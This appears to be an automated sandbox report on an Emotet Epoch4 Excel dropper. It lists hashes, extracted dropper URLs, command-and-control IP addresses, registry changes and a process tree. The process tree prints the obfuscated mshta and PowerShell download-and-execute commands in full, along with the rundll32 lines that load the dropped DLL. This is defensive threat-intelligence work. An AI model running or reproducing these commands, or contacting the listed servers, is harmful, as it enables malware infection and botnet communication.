emotet | b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf

Analysis

max time kernel
135s
max time network
150s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 06:40

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Report Analysis Logs

General

Target

c2ce0e5d4d7eb7b429e77e7bbdf09801.xls
Size

141KB
MD5

c2ce0e5d4d7eb7b429e77e7bbdf09801
SHA1

71b41e18f5596cf7a8fcfee18679f84d536fe822
SHA256

b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf
SHA512

3dde19316fc7d34b19295eac07f71a99769fa8d4f9a8008a6b7c51fd4c0bd4dc73c5a813a6fc4a1b877a94a8157e09ef5b7e75eb64f46f723a70a20e7a990767

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	908	1528	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1248 mshta.exe
5 1828 powershell.exe
7 1828 powershell.exe
9 1828 powershell.exe
11 852 rundll32.exe
13 852 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

556 rundll32.exe
556 rundll32.exe
556 rundll32.exe
556 rundll32.exe
832 rundll32.exe
832 rundll32.exe
832 rundll32.exe
832 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Erpyterttvfc\qwtlhjtcvzznhkr.mus rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1248	mshta.exe
5	1828	powershell.exe
7	1828	powershell.exe
9	1828	powershell.exe
11	852	rundll32.exe
13	852	rundll32.exe

pid	process
556	rundll32.exe
556	rundll32.exe
556	rundll32.exe
556	rundll32.exe
832	rundll32.exe
832	rundll32.exe
832	rundll32.exe
832	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Erpyterttvfc\qwtlhjtcvzznhkr.mus	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1528 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1828 powershell.exe
852 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1828 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1528 EXCEL.EXE
1528 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1528 EXCEL.EXE
1528 EXCEL.EXE
1528 EXCEL.EXE

pid	process
1528	EXCEL.EXE

pid	process
1828	powershell.exe
852	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1828	powershell.exe

pid	process
1528	EXCEL.EXE
1528	EXCEL.EXE

pid	process
1528	EXCEL.EXE
1528	EXCEL.EXE
1528	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1528 wrote to memory of 292	1528	EXCEL.EXE	splwow64.exe
PID 1528 wrote to memory of 292	1528	EXCEL.EXE	splwow64.exe
PID 1528 wrote to memory of 292	1528	EXCEL.EXE	splwow64.exe
PID 1528 wrote to memory of 292	1528	EXCEL.EXE	splwow64.exe
PID 1528 wrote to memory of 908	1528	EXCEL.EXE	cmd.exe
PID 1528 wrote to memory of 908	1528	EXCEL.EXE	cmd.exe
PID 1528 wrote to memory of 908	1528	EXCEL.EXE	cmd.exe
PID 1528 wrote to memory of 908	1528	EXCEL.EXE	cmd.exe
PID 908 wrote to memory of 1248	908	cmd.exe	mshta.exe
PID 908 wrote to memory of 1248	908	cmd.exe	mshta.exe
PID 908 wrote to memory of 1248	908	cmd.exe	mshta.exe
PID 908 wrote to memory of 1248	908	cmd.exe	mshta.exe
PID 1248 wrote to memory of 1828	1248	mshta.exe	powershell.exe
PID 1248 wrote to memory of 1828	1248	mshta.exe	powershell.exe
PID 1248 wrote to memory of 1828	1248	mshta.exe	powershell.exe
PID 1248 wrote to memory of 1828	1248	mshta.exe	powershell.exe
PID 1828 wrote to memory of 2044	1828	powershell.exe	cmd.exe
PID 1828 wrote to memory of 2044	1828	powershell.exe	cmd.exe
PID 1828 wrote to memory of 2044	1828	powershell.exe	cmd.exe
PID 1828 wrote to memory of 2044	1828	powershell.exe	cmd.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 556	2044	cmd.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 556 wrote to memory of 832	556	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 832 wrote to memory of 1868	832	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe
PID 1868 wrote to memory of 852	1868	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c2ce0e5d4d7eb7b429e77e7bbdf09801.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1528

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:292

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Erpyterttvfc\qwtlhjtcvzznhkr.mus",ORAm
8⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Erpyterttvfc\qwtlhjtcvzznhkr.mus",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:852

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
de7be5d20fdd37cfd7c2a1fa998ed228

SHA1
511392ba2358af5cb3be1c7ab0d2aec097e8ffad

SHA256
658a2ad2d15e649fec8612d3cbbee9cbf6f1cd7a53ea3408eb16965ec10fd159

SHA512
8bfd2e5bfc6521a8b8337664ca7878ba8b086301ae160eab4ef7d8df184ead348189828246c052c251482a0cad0ed61161cc36262805513132c4e80415ba7790

Download Submit
\Users\Public\Documents\ssd.dll
MD5
de7be5d20fdd37cfd7c2a1fa998ed228

SHA1
511392ba2358af5cb3be1c7ab0d2aec097e8ffad

SHA256
658a2ad2d15e649fec8612d3cbbee9cbf6f1cd7a53ea3408eb16965ec10fd159

SHA512
8bfd2e5bfc6521a8b8337664ca7878ba8b086301ae160eab4ef7d8df184ead348189828246c052c251482a0cad0ed61161cc36262805513132c4e80415ba7790

Download Submit
\Users\Public\Documents\ssd.dll
MD5
de7be5d20fdd37cfd7c2a1fa998ed228

SHA1
511392ba2358af5cb3be1c7ab0d2aec097e8ffad

SHA256
658a2ad2d15e649fec8612d3cbbee9cbf6f1cd7a53ea3408eb16965ec10fd159

SHA512
8bfd2e5bfc6521a8b8337664ca7878ba8b086301ae160eab4ef7d8df184ead348189828246c052c251482a0cad0ed61161cc36262805513132c4e80415ba7790

Download Submit
\Users\Public\Documents\ssd.dll
MD5
de7be5d20fdd37cfd7c2a1fa998ed228

SHA1
